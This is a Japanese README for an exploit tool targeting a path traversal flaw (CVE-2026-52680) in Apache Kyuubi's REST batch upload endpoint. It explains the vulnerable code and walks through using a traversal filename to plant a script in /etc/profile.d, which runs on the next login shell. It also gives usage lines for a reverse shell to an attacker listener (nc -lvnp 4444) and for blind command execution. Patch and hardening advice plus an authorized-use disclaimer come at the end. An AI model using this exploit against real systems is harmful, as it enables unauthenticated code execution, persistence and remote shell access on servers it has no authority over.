
Apache Kyuubi のパストラバーサル (CVE-2026-52680) 用エクスプロイト。profile.d シェルスクリプト経由で、認証なしの任意ファイル書き込みとコード実行を実現します。
Apache Kyuubi の REST API における、multipart バッチ送信エンドポイントを介した認証なしの任意ファイル書き込み。
POST /api/v1/batches (multipart/form-data) は、パストラバーサルチェックなしで クライアント指定のファイル名 を使用し、resourceFile パートを $KYUUBI_HOME/work/upload/<batchId>/ に書き込みます (kyuubi-common の Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
../ を含むファイル名はアップロードディレクトリをエスケープし、Kyuubi プロセスユーザーとして 任意ディレクトリへのファイル書き込み (CWE-22) を引き起こします。Kyuubi はデフォルトで kyuubi.authentication=NONE を同梱しているため、このエンドポイントは 認証なし です。
1.7.0 – 1.11.11.12.0 (filePath.normalize().startsWith(dir.normalize()) による包含チェックが追加)10099 (REST フロントエンド、authentication=NONE の場合は認証なし)writeToTempFile は拡張子の前に -<yyyyMMddHHmmss>-<counter> を挿入するため、宛先 ディレクトリ、拡張子、内容 は制御できますが、正確なベース名は制御できません。そのため、正確な名前による上書き (~/.ssh/authorized_keys、/etc/crontab、~/.bashrc) はできません。代わりに、グロブによって 実行される場所を標的にしてください。
このエクスプロイトは /etc/profile.d/pwn.sh を配置します → /etc/profile.d/pwn-<ts>-<n>.sh として保存されますが、これは依然として /etc/profile.d/*.sh に一致し、すべてのログインシェルによって source され (実行ビットは不要)、実行されます。これは、ログインシェルを開いたユーザーとして実行されます。Kyuubi が root で実行されており、root ログインが発生した場合 (ssh root@host、su -、cron の bash -lc など) は root として実行されます。
Python 3 の標準ライブラリのみ — 依存関係はありません。
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
Spark バックエンドが存在しない場合、アップロードは HTTP 500 (Error opening batch session) を返しますが、これは想定どおりで無害です。ファイルはバッチが起動する 前 に書き込まれるためです。
2 つの multipart パート:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — 検証を通過してアップロード処理に到達するための最小限の有効な BatchRequest です。resourceFile。ファイル名は ../../../../../../etc/profile.d/pwn.sh、本文 = ペイロード。Kyuubi はこれを (ベース名を改変して) /etc/profile.d/pwn-<ts>-<n>.sh に書き込みます。そして、ログインシェルが /etc/profile.d/*.sh を source してペイロードを実行します。
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
ポート 10099 で authentication=NONE になっている Kyuubi REST フロントエンドは、攻撃可能です。
Apache Kyuubi ≥ 1.12.0 にアップグレードし、認証を有効化 (kyuubi.authentication) し、REST ゲートウェイを信頼できないネットワークに公開せず、Kyuubi を root で実行しないでください。
許可されたセキュリティテストと教育目的のみに使用してください。自分が所有しているか、テストする明示的な許可を得ているシステムに対してのみ使用してください。